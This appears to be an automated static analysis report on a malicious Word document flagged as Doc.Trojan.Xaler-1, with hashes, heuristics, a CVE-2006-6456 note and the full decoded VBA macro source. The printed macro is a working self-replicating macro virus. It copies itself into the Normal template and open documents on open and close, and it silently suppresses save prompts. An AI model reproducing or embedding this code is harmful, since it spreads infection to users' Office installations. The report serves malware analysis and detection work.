Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be210b104383d7d0…

MALICIOUS

Office (OLE)

79.0 KB Created: 2015-04-22 09:12:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: abbf430ae1bad56daf6b128c48a251f7 SHA-1: 66b24917d1cbbee9acaca8449640007426a2b8de SHA-256: be210b104383d7d0994c64083ce3845d09fb4b01166f6b3f75b4216f415640ea
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that exhibit self-replication behavior, specifically writing VBA project code to the Normal template and the current document. The Document_Open macro triggers the GOODSub routine, which exports the current document's VBA project to a temporary file, modifies it, and then attempts to insert the modified code back into the Normal template and the active document, followed by saving. This indicates an attempt to establish persistence. The ClamAV detection 'Doc.Trojan.Xaler-1' further supports the malicious nature of the file.

Heuristics 6

  • CVE-2006-6456 — Microsoft Word malformed table SPRM critical CVE exact CVE_2006_6456
    WordDocument contains a malformed table border-color SPRM in the CVE-2006-6456 shape: a valid table-SPRM cluster is followed by an invalid high-byte 0xFF SPRM where Word expects a normal sprmTBrc*Cv record. Vulnerable Word 2000/2002/2003 parsers corrupt memory while handling this malformed data structure.
  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2533 bytes
SHA-256: ddd9f3efda7e12f64709e516f6550aba2c3ad0525264fda85f90d7a243a97111
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
End
End Sub

Private Sub ComboBox1_Change()

End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub






























































































































































































































































































































Private Sub Label1_Click()

End Sub

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